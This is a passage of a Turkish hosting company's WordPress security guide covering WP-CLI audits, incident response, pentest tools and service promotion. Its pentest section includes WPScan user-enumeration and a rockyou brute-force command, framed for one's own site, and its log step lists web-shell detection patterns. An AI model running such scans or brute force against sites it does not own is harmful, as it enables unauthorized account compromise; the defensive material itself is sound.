reCAPTCHA v3

Google reCAPTCHA v3 görünmez bir bot scoring sistemidir. Kullanıcı CAPTCHA bulmacası çözmez; arka planda bir güven skoru üretir (0.0-1.0). 0.5 altı için ekstra doğrulama isteyebilir, 0.3 altı için tamamen reddedebilirsiniz. Wordfence Login Security ve Solid Security eklentileri reCAPTCHA v3 entegrasyonunu form bazında destekler.

WP-CLI ile Güvenlik Komutları

WP-CLI komut satırı arayüzü, güvenlik auditing'i otomatize etmenin en hızlı yoludur. Buyukweb cPanel paketlerinde WP-CLI SSH üzerinden kullanılabilir.

# Çekirdek WordPress dosyalarının integrity kontrolü
wp checksum core --version=$(wp core version)

# Tüm eklentilerin checksum kontrolü
wp checksum plugin --all

# Kullanıcı listesi (yetki ile birlikte)
wp user list --fields=ID,user_login,user_email,roles,user_registered

# Şüpheli admin'leri tespit et
wp user list --role=administrator --field=user_login

# Site URL kontrol (saldırgan değiştirmiş olabilir)
wp option get siteurl
wp option get home

# Aktif eklentileri listele
wp plugin list --status=active --fields=name,version,update

# Belirli bir eklentinin son güncellemeden beri ne zaman geçtiğini kontrol
wp plugin update --dry-run

# WP salts yenileme (tüm oturumları kapatır)
wp config shuffle-salts

# Veritabanı tablolarını tarama (uzun süreç)
wp db check
wp db repair

# Tek seferlik kullanıcı oluşturma (acil durum)
wp user create yenikullanici [email protected] --role=administrator --user_pass=GUCLUPAROLA

# Yeni admin parolası set et
wp user update admin --user_pass=YENIPAROLA

Bu komutları cron job ile haftalık otomatize edip sonucu mail'e gönderebilirsiniz:

#!/bin/bash
# /home/user/scripts/wp-weekly-audit.sh
cd /home/user/public_html
REPORT=$(mktemp)
{
  echo "=== Core checksum ==="
  wp checksum core
  echo ""
  echo "=== Plugin checksum ==="
  wp checksum plugin --all
  echo ""
  echo "=== Aktif admin'ler ==="
  wp user list --role=administrator --fields=ID,user_login,user_email
} > $REPORT 2>&1

mail -s "WP Haftalik Guvenlik Raporu" [email protected] < $REPORT
rm -f $REPORT

cPanel Cron Jobs üzerinden haftalık çağırın. Sonuç mailinde fark görmek size erken uyarı sağlar.

Malware Tanı ve Temizleme: 7 Adımlı Incident Response

Site hacklenirse ne yapılır? Sistemli yaklaşım:

Adım 1: İzolasyon

Siteyi mümkün olduğunca dışarıya kapatın. cPanel'de "Site Disabled" rolüne çevirme veya .htaccess ile tüm IP'leri reddedip sadece kendi IP'nizi izinli yapma. Saldırgan SEO spam yayıyorsa, Google'ın indekslediği zararlı sayfalar her dakika sitenize daha çok ceza puanı ekliyor.

# .htaccess — sadece kendi IP'ni izinli yap
Order Deny,Allow
Deny from all
Allow from 95.10.20.30

Adım 2: Snapshot (Forensic Backup)

Siteyi temizlemeden ÖNCE mevcut bozulmuş halini tam yedekleyin — saldırı sonrası analiz için. JetBackup ile snapshot al, ayrı bir dosya sunucusunda sakla.

Adım 3: Clean Backup Restore

Saldırıdan ÖNCE alınmış son temiz yedekten restore. Buyukweb JetBackup haftalık yedeklerinde 30 gün retention standart; saldırı 2 hafta önce olmuşsa 3 hafta önceki yedek hâlâ erişilebilir. Restore öncesi:

  • Hangi yedeğin temiz olduğunu seçin — saldırı tarihinden 1 gün öncesi en doğru
  • Restore "in-place" (mevcut dizine üstüne) değil yeni dizine yapın, sonra eski ile diff alın

Adım 4: Tüm Şifreleri Değiştir

  • WordPress admin parolası
  • cPanel parolası
  • FTP/SFTP parolaları
  • MySQL kullanıcı parolaları
  • API anahtarları (varsa)
  • WP Salts shuffle (wp config shuffle-salts)

Adım 5: Eklenti ve Tema Güncelleme

Saldırı çoğu zaman eski/açıklı bir eklentiden gelmiştir. Restore sonrası TÜM eklentileri en son sürümlere güncelleyin, gerekirse zayıf eklentileri tamamen kaldırıp alternatif arayın.

Adım 6: Log Analiz

# Apache/LiteSpeed access log son 7 gün
zcat /var/log/apache2/access.log.*.gz | grep -E "(wp-login|xmlrpc|admin-ajax)" | tail -1000

# Saldırı kaynak IP'leri
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20

# wp-content/uploads içinde son 7 günde değişen dosyalar
find /home/user/public_html/wp-content/uploads -mtime -7 -ls

# eval(base64_decode arayışı (yaygın malware pattern)
grep -rn "eval(base64_decode" /home/user/public_html/

# Web shell pattern arama
grep -rln "system(\$" /home/user/public_html/wp-content/
grep -rln "passthru(" /home/user/public_html/wp-content/
grep -rln "shell_exec(" /home/user/public_html/wp-content/

Adım 7: Post-Mortem ve Önlem

  • Saldırı vektörü neydi? (eklenti X v1.2 açığı, brute force, vs.)
  • Aynı vektör için kalıcı önlem ne? (eklenti değiştir, 2FA aç, IP whitelist)
  • Dokümante et: tarih, açık, alınan önlem
  • Müşteri/kullanıcı verisi sızdıysa KVKK Veri İhlali Bildirimi (72 saat içinde KVKK Kurulu'na)

Penetrasyon Test Araçları (Sadece Kendi Sitenizde!)

Sitenizdeki açıkları kendi başınıza test etmek isterseniz. Önemli yasal uyarı: Sahibi olmadığınız sistemleri tarama Türkiye Ceza Kanunu 243 ve 244 (bilişim suçları) kapsamında suçtur; sadece sahibi olduğunuz/yazılı izin aldığınız sistemlerde kullanın.

WPScan (Open Source CLI)

# WPScan kurulumu (Ruby gem)
gem install wpscan

# Site genel tarama
wpscan --url https://siteniz.com.tr

# Kullanıcı enumeration
wpscan --url https://siteniz.com.tr --enumerate u

# Eklenti açık taraması (API token gerekli — wpscan.com ücretsiz hesap)
wpscan --url https://siteniz.com.tr --enumerate vp --api-token YOUR_TOKEN

# Brute force (sadece kendi test sitenizde!)
wpscan --url https://siteniz.com.tr --usernames admin --passwords /usr/share/wordlists/rockyou.txt

Nikto

# Genel web sunucu zayıflık taraması
nikto -h https://siteniz.com.tr

Burp Suite Community Edition

Manuel test için en güçlü araç. Tarayıcı trafiğini proxy üzerinden geçirip her HTTP isteğini değiştirmenize/yeniden göndermenize olanak verir. CSRF, XSS, SQL injection manuel test için endüstri standardı.

OWASP ZAP

Burp'a açık kaynak alternatif. Otomatik tarama + manuel proxy + active scan modları.

Buyukweb Sunucu Güvenlik Katmanı Özeti

Buyukweb cPanel paketlerinde standart olarak sunduğumuz sunucu seviyesi güvenlik katmanları:

Katman Buyukweb cPanel Buyukweb VDS (Sizin Yönetiminizde)
WAF Imunify360 + ModSecurity + OWASP CRS Kendi ModSec / Nginx WAF / Cloudflare WAF
Malware tarama Imunify360 günlük ClamAV + maldet + AIDE
Brute force Imunify360 + CSF Fail2Ban kendi kurulum
SSL AutoSSL Let's Encrypt 90 günde 1 otomatik Certbot kendi cron
Process izolasyon CageFS (paylaşımlı hosting kullanıcı izolasyonu) Tek tenant, izolasyon zaten var
Kaynak limit LVE (CPU/RAM/IO per cPanel hesabı) Kendi cgroups/systemd-slice
Yedek JetBackup haftalık tam yedek, 30 gün retention Kendi rsync/restic
Vulnerability scan Imunify360 Patchman (CMS açık tespiti) Lynis + Tripwire
Datacenter Bursa Tier 3 — KVKK uyumlu veri yerelliği Bursa Tier 3 — KVKK uyumlu veri yerelliği

cPanel paketlerimizde (₺350-2.000/yıl aralığı, paket büyüklüğüne göre) yukarıdaki tüm katmanlar dahildir; ekstra ücret yok. VDS E5-V4 paketlerinde root erişim olduğu için kendi katmanınızı kurarsınız; ortalama Buyukweb müşterisi cPanel için Imunify360'a güveniyor.

Karar Matrisi: Site Türüne Göre Güvenlik Seviyesi

Her site farklı bir risk profili taşır. Aşağıdaki tablo, site türüne göre minimum güvenlik gereksinimini ve önerilen ek katmanları gösterir.

Site Türü Min. Güvenlik Önerilen Ek Katmanlar Hedef
Kişisel blog Wordfence Free + JetBackup Cloudflare Free Brute force + spam koruma
Kurumsal vitrin Wordfence Free + 2FA + Cloudflare Free Sucuri Security audit log Marka güvenliği + uptime
Haber / Magazin Wordfence Free + CDN + uptime monitor Cloudflare Pro + bot management Yüksek trafik dayanıklılığı
E-ticaret (WooCommerce) Wordfence Premium + 2FA + 4N1K MalCare auto-clean + PCI DSS uyum Ödeme + müşteri verisi koruma
Üyelik / SaaS Solid Security Pro + 2FA WebAuthn Cloudflare Pro + rate limit Hesap güvenliği + abuse kontrol
Yüksek görünürlük (basın) Premium WAF + WAF + 24/7 monitor Sucuri integrity + Wordfence Premium DDoS + targeted attack
Regüle sektör (sağlık/finans) Hepsi + KVKK log + audit TR datacenter + IS 27001 uyumlu MSP Yasal uyum + ihlal bildirimi

E-ticaret veya üyelik sitelerinde WooCommerce + Wordfence Premium + Cloudflare Pro + Imunify360 (Buyukweb cPanel'inde dahil) + JetBackup haftalık kombinasyonu sektör standardıdır.

Sık Sorulan Sorular (SSS)

"Wordfence ücretsiz sürümü yeterli mi?"

Kişisel blog ve küçük KOBİ vitrin sitesi için yeterlidir. WAF kuralları 30 gün gecikmeyle gelir; çoğu standart saldırı için bu yeterli süre, çünkü zafiyetler genelde yayınlandıktan haftalar sonra geniş çapta sömürülür. E-ticaret veya üyelik sitelerinde Premium daha mantıklıdır çünkü real-time threat feed, sıfır gün açıklarını saatler içinde block eder. Eğer Buyukweb cPanel'inde Imunify360 zaten aktifse, Wordfence Free + Imunify360 kombosu çoğu KOBİ için yeterli koruma sağlar.

"Sitem hacklendi, ne yapayım?"

Yukarıdaki 7-adımlı incident response sürecini sırasıyla uygulayın: izolasyon → snapshot → clean backup restore → tüm şifre değişimi → eklenti güncelleme → log analizi → post-mortem. Buyukweb cPanel müşterisi iseniz 0850 302 60 70 destek hattımızdan acil yardım çağrısı açabilirsiniz; JetBackup restore'unda size yardım ediyoruz. Eğer durum karmaşıksa (zincirli saldırı, çoklu site, KVKK ihlali şüphesi) profesyonel incident response danışmanı önerilir.

"Hangi 2FA yöntemi en iyi?"

TOTP (Google Authenticator, Authy, FreeOTP) en yaygın ve dengeli seçenektir; offline çalışır, ekstra cihaz gerektirir, yüksek güvenlik sağlar. WebAuthn (YubiKey, Touch ID, Windows Hello) teknik olarak en güvenli ama hardware key satın alma gerekiyor. SMS önerilmez çünkü SIM swap saldırılarıyla atlatılabilir. E-mail OTP orta düzey — mail hesabı tehlikeye girerse 2FA da düşer. Backup kodları her durumda zorunlu — recovery için offline saklanmalı.

"Eklenti güncellemesi otomatik olmalı mı?"

Karışık cevap: küçük/düşük riskli eklentiler için EVET, kritik üretim eklentileri için HAYIR. Auto-update özelliğini WordPress 5.5+ ile her eklentide bireysel aç/kapat yapabilirsiniz. WooCommerce, ödeme gateway, üyelik eklentisi gibi iş kritik eklentilerde manuel patch-day disiplini önerilir: staging test → backup → production update. Düşük riskli eklentiler (lightbox, ikon paketi, vs.) otomatik güncellenebilir. Eklenti supply chain attack riski auto-update'le artar; bu yüzden Wordfence Premium gibi gerçek zamanlı malware tarama yedek katman önerilir.

"wp-admin'i tamamen IP whitelist ile kapatsam yeterli mi?"

Sabit ofis IP'niz varsa, IP whitelist brute force riskini sıfıra yakın indirir — bu en sert önlemdir. Ancak yan etkileri var: mobil/seyahatte erişim engelleniyor, ekip üyeleri farklı lokasyondan giremezsiniz. VPN (örn. WireGuard, OpenVPN) çözüm olabilir: VPN üzerinden sabit IP'ye bağlanın, ofis IP'sinden wp-admin'e erişin. Dinamik IP varsa whitelist mümkün değildir; bu durumda 2FA + WPS Hide Login + rate limit kombinasyonu yeterlidir.

"ModSecurity yanlış engelleme yapıyor, ne yapayım?"

OWASP CRS bazen meşru trafiği false-positive engeller — özellikle özel form alanları veya zengin metin editörlerinde. cPanel ModSecurity Tools üzerinden son blocked istekleri görebilir, ID bazlı kural istisnası ekleyebilirsiniz. Daha temkinli yaklaşım: ModSecurity'yi "audit only" mode'a alıp 1-2 hafta log gözleyin, sonra paranoia seviyesini ayarlayın. Buyukweb destek hattımız (0850 302 60 70) ModSecurity false-positive sorunlarında ücretsiz yardımcı olur.

"WordPress REST API'yi tamamen kapatmalı mıyım?"

HAYIR. Modern WordPress frontend, REST API'ye bağımlıdır (Gutenberg editor, Site Health, bloklar). Tamamen kapatmak adminin işlevini bozar. Doğru yaklaşım: /wp-json/wp/v2/users endpoint'ini kapatmak (kullanıcı enumeration), anonim REST sorgularını sınırlamak (sadece authenticated kullanıcılar için kritik endpoint'ler). Bu iki filter yukarıdaki örneklerde verilmiştir.

"Imunify360 zaten varsa Wordfence eklentisi de gerekli mi?"

İkisi farklı katmanlarda çalışır: Imunify360 sunucu/network seviyesinde trafiği filtreler, Wordfence PHP runtime seviyesinde WordPress içeride çalışırken kontrol eder. İkisi birlikte "defense in depth" sağlar. Imunify360'ın yakalayamayacağı bir saldırıyı Wordfence yakalayabilir (örn. WordPress nonce verification kayıp olan bir eklenti açığı). Aynı şekilde Wordfence'in göremeyeceği sunucu seviyesi bir saldırıyı Imunify360 yakalar. Birlikte kullanmak performans açısından sorun değil, üst üste rule olmuyorlar.

Sonuç ve Sonraki Adımlar

WordPress güvenlik, tek bir eklenti veya tek bir yapılandırma değişikliğiyle bitmez. Defense in depth prensibi — CDN/WAF (Cloudflare), sunucu (Imunify360 + ModSecurity), uygulama (Wordfence/Solid Security/Sucuri), kullanıcı disiplini (2FA + parola yöneticisi + patch-day) — bir kombinasyon olarak çalışır.

Bu rehberi özetlersek:

  1. Eklenti seçimi: Kullanım senaryonuza göre Wordfence Free (genel), Solid Security Pro (çoklu site), MalCare (geçmişte hacklenmiş), Sucuri Security WP eklentisi (file integrity + audit), Jetpack Security (zaten Jetpack kullanan).
  2. Saldırı türlerini tanı: Brute force, SQL injection, XSS, CSRF, file upload bypass, LFI, privilege escalation, supply chain — her birinin teknik anatomisi ve savunma reflexi farklıdır.
  3. Sunucu katmanı al: Imunify360 + ModSecurity (Buyukweb cPanel'inde dahil), Cloudflare WAF (Free yeterli başlangıç için), Fail2Ban (VDS root erişimi varsa).
  4. Hardening checklist'i uygula: wp-config.php sertleştir, WP Salts yenile, wp-admin koruma (2FA + IP + custom URL), REST API + XML-RPC denetle, dosya izinleri 644/755/400.
  5. Patch-day disiplini: Haftada 1 sabit gün, backup öncesi, staging test, kritik üretim eklentilerini manuel güncelle.
  6. Incident response planı hazır: 7-adımlı süreç (izolasyon, snapshot, restore, şifre, güncelleme, log, post-mortem) — hack anında panik etmemek için.
  7. Buyukweb ekosistemi: cPanel paketlerimizde Imunify360 + ModSecurity + AutoSSL + JetBackup haftalık yedek hazır; VDS müşterilerimiz tam root ile kendi stack'lerini sertleştirir.

İlgili Büyükweb Hizmetleri

WordPress güvenlik yapılandırması, eklenti seçimi, hack sonrası temizleme veya Imunify360/ModSecurity false-positive ayarı için 0850 302 60 70 numaralı destek hattımıza ya da iletişim sayfamıza yazabilirsiniz. Bursa Tier 3 veri merkezimizden 7/24 destek sağlıyoruz.

WordPress Rehberi İlgili Hizmetlerimiz

Bu yazıda anlatılan teknik konuyu profesyonel altyapıyla deneyimleyin

Etiketler:

#wordpress#güvenlik#web geliştirme#cms

Bu yazıyı paylaş